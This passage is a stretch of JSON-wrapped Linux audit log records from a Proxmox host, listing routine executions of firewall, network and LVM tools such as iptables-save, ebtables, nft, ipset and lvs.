name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265416,"@rawstring":"node=pve type=PATH msg=audit(1781964265.416:60291): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265416,"@rawstring":"node=pve type=PATH msg=audit(1781964265.416:60291): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265411,"@rawstring":"node=pve type=PATH msg=audit(1781964265.411:60290): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265411,"@rawstring":"node=pve type=PATH msg=audit(1781964265.411:60290): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265406,"@rawstring":"node=pve type=PATH msg=audit(1781964265.406:60289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265406,"@rawstring":"node=pve type=PATH msg=audit(1781964265.406:60289): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265399,"@rawstring":"node=pve type=PATH msg=audit(1781964265.399:60288): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265399,"@rawstring":"node=pve type=PATH msg=audit(1781964265.399:60288): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265395,"@rawstring":"node=pve type=PATH msg=audit(1781964265.395:60287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265395,"@rawstring":"node=pve type=PATH msg=audit(1781964265.395:60287): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265387,"@rawstring":"node=pve type=PATH msg=audit(1781964265.387:60286): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265387,"@rawstring":"node=pve type=PATH msg=audit(1781964265.387:60286): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265381,"@rawstring":"node=pve type=PATH msg=audit(1781964265.381:60285): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265381,"@rawstring":"node=pve type=PATH msg=audit(1781964265.381:60285): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265378,"@rawstring":"node=pve type=PATH msg=audit(1781964265.378:60284): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265378,"@rawstring":"node=pve type=PATH msg=audit(1781964265.378:60284): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265375,"@rawstring":"node=pve type=PATH msg=audit(1781964265.375:60283): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265375,"@rawstring":"node=pve type=PATH msg=audit(1781964265.375:60283): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265374,"@rawstring":"node=pve type=PATH msg=audit(1781964265.374:60282): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265374,"@rawstring":"node=pve type=PATH msg=audit(1781964265.374:60282): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265374,"@rawstring":"node=pve type=PATH msg=audit(1781964265.374:60281): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265370,"@rawstring":"node=pve type=PATH msg=audit(1781964265.370:60280): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265370,"@rawstring":"node=pve type=PATH msg=audit(1781964265.370:60280): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265370,"@rawstring":"node=pve type=PATH msg=audit(1781964265.370:60280): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265363,"@rawstring":"node=pve type=PATH msg=audit(1781964265.363:60279): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265363,"@rawstring":"node=pve type=PATH msg=audit(1781964265.363:60279): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265356,"@rawstring":"node=pve type=PATH msg=audit(1781964265.356:60278): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265356,"@rawstring":"node=pve type=PATH msg=audit(1781964265.356:60278): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265351,"@rawstring":"node=pve type=PATH msg=audit(1781964265.351:60277): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265351,"@rawstring":"node=pve type=PATH msg=audit(1781964265.351:60277): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265345,"@rawstring":"node=pve type=PATH msg=audit(1781964265.345:60276): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265345,"@rawstring":"node=pve type=PATH msg=audit(1781964265.345:60276): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265338,"@rawstring":"node=pve type=PATH msg=audit(1781964265.338:60275): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964265338,"@rawstring":"node=pve type=PATH msg=audit(1781964265.338:60275): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964264793,"@rawstring":"node=pve type=PATH msg=audit(1781964264.793:60274): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964264793,"@rawstring":"node=pve type=PATH msg=audit(1781964264.793:60274): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964264747,"@rawstring":"node=pve type=PATH msg=audit(1781964264.747:60273): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964264747,"@rawstring":"node=pve type=PATH msg=audit(1781964264.747:60273): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PATH msg=audit(1781964263.522:60272): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PATH msg=audit(1781964263.522:60272): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PATH msg=audit(1781964263.522:60271): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=PATH msg=audit(1781964263.522:60270): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PATH msg=audit(1781964263.514:60269): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PATH msg=audit(1781964263.514:60269): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PATH msg=audit(1781964263.514:60268): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=PATH msg=audit(1781964263.514:60267): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PATH msg=audit(1781964258.507:60266): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PATH msg=audit(1781964258.507:60266): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PATH msg=audit(1781964258.507:60265): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=PATH msg=audit(1781964258.507:60264): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PATH msg=audit(1781964258.497:60263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PATH msg=audit(1781964258.497:60263): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PATH msg=audit(1781964258.497:60262): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=PATH msg=audit(1781964258.497:60261): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255326,"@rawstring":"node=pve type=PATH msg=audit(1781964255.326:60260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255326,"@rawstring":"node=pve type=PATH msg=audit(1781964255.326:60260): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255323,"@rawstring":"node=pve type=PATH msg=audit(1781964255.323:60259): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255323,"@rawstring":"node=pve type=PATH msg=audit(1781964255.323:60259): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255320,"@rawstring":"node=pve type=PATH msg=audit(1781964255.320:60258): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255320,"@rawstring":"node=pve type=PATH msg=audit(1781964255.320:60258): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255320,"@rawstring":"node=pve type=PATH msg=audit(1781964255.320:60257): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255316,"@rawstring":"node=pve type=PATH msg=audit(1781964255.316:60256): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255316,"@rawstring":"node=pve type=PATH msg=audit(1781964255.316:60256): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255316,"@rawstring":"node=pve type=PATH msg=audit(1781964255.316:60256): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255310,"@rawstring":"node=pve type=PATH msg=audit(1781964255.310:60255): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255310,"@rawstring":"node=pve type=PATH msg=audit(1781964255.310:60255): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255302,"@rawstring":"node=pve type=PATH msg=audit(1781964255.302:60254): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255302,"@rawstring":"node=pve type=PATH msg=audit(1781964255.302:60254): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255295,"@rawstring":"node=pve type=PATH msg=audit(1781964255.295:60253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255295,"@rawstring":"node=pve type=PATH msg=audit(1781964255.295:60253): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255288,"@rawstring":"node=pve type=PATH msg=audit(1781964255.288:60252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255288,"@rawstring":"node=pve type=PATH msg=audit(1781964255.288:60252): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255282,"@rawstring":"node=pve type=PATH msg=audit(1781964255.282:60250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255282,"@rawstring":"node=pve type=PATH msg=audit(1781964255.282:60250): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255277,"@rawstring":"node=pve type=PATH msg=audit(1781964255.277:60249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255277,"@rawstring":"node=pve type=PATH msg=audit(1781964255.277:60249): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255271,"@rawstring":"node=pve type=PATH msg=audit(1781964255.271:60248): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255271,"@rawstring":"node=pve type=PATH msg=audit(1781964255.271:60248): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255264,"@rawstring":"node=pve type=PATH msg=audit(1781964255.264:60247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255264,"@rawstring":"node=pve type=PATH msg=audit(1781964255.264:60247): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255259,"@rawstring":"node=pve type=PATH msg=audit(1781964255.259:60246): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255259,"@rawstring":"node=pve type=PATH msg=audit(1781964255.259:60246): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255253,"@rawstring":"node=pve type=PATH msg=audit(1781964255.253:60245): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255253,"@rawstring":"node=pve type=PATH msg=audit(1781964255.253:60245): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255246,"@rawstring":"node=pve type=PATH msg=audit(1781964255.246:60244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255246,"@rawstring":"node=pve type=PATH msg=audit(1781964255.246:60244): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255239,"@rawstring":"node=pve type=PATH msg=audit(1781964255.239:60243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255239,"@rawstring":"node=pve type=PATH msg=audit(1781964255.239:60243): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255234,"@rawstring":"node=pve type=PATH msg=audit(1781964255.234:60242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255234,"@rawstring":"node=pve type=PATH msg=audit(1781964255.234:60242): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255231,"@rawstring":"node=pve type=PATH msg=audit(1781964255.231:60241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255231,"@rawstring":"node=pve type=PATH msg=audit(1781964255.231:60241): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255230,"@rawstring":"node=pve type=PATH msg=audit(1781964255.230:60240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964255230,"@rawstring":"node=pve type=PATH msg=audit(1781964255.230:60240): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 